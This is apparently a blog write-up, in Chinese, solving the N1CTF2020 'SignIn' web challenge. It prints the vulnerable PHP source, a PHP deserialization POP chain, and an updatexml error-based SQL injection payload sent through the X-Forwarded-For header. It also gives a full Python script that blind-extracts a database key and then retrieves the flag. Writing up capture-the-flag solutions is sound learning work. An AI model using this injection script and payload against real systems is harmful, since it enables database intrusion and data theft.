N1CTF2020

N1CTF打不过根本打不过,就做了个签到


SignIn

考点:反序列化,布尔盲注,报错注入

这是源码:

<?php
highlight_file(__FILE__);
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        if(md5($this->check)===md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
}

思路是利用stristr函数触发__toString,然后在XFF头来进行一个sql注入

$pop = new flag();
$pop->ip = new ip();
echo serialize($pop);

页面回显就只会有noip和welcome to n1ctf2020两种,因为__toString方法里面只有return,所以我们并不能直接看到mysql的回显(无论成功与否),只能利用两种回显来判断我们的sql语句是否逻辑正确。

简单fuzz了一下,过滤了like、sleep、BENCHMARK,不能延时注入。

因为他return mysqli_error($con);返回了MySQL的报错信息,我们便可以报错注入;

' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '

1=1和1=0分别返回了不同的信息。

exp:

import requests

url = 'http://101.32.205.189/index.php?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";i:1;}s:5:"check";s:4:"test";}'
result = ''
req = requests.session()
for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #babyselect = "database()"#n1ctf_websign
        #babyselect = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"#n1ip,n1key
        #babyselect = "(select group_concat(column_name) from information_schema.columns where table_name='n1key')"#id,key
        babyselect = "(select `key` from n1key)"#n1ctf20205bf75ab0a30dfc0c
        select = "ascii(substr({},{},1))>{}".format(babyselect, x, mid)
        payload = "' or updatexml(1,concat(0x7e,(select if(({}),'n1ctf',0)),0x7e),1) or '".format(select)
        data = {"X-Forwarded-For": payload}
        resp = requests.get(url, headers=data)  #GET:params=data POST:data=data
        print(payload)
        if resp.text.count('welcome to n1ctf2020') == 2:  #
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    # print(mid)
    result += chr(int(mid))
    print(result)
print("end.......")
print(result)

key是关键字,只能select key

得到key:n1ctf20205bf75ab0a30dfc0c

$pop = new flag();
$pop->ip = new ip();
$pop->check = "n1ctf20205bf75ab0a30dfc0c";
echo serialize($pop);

传参得到:

n1ctf{you_g0t_1t_hack_for_fun}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇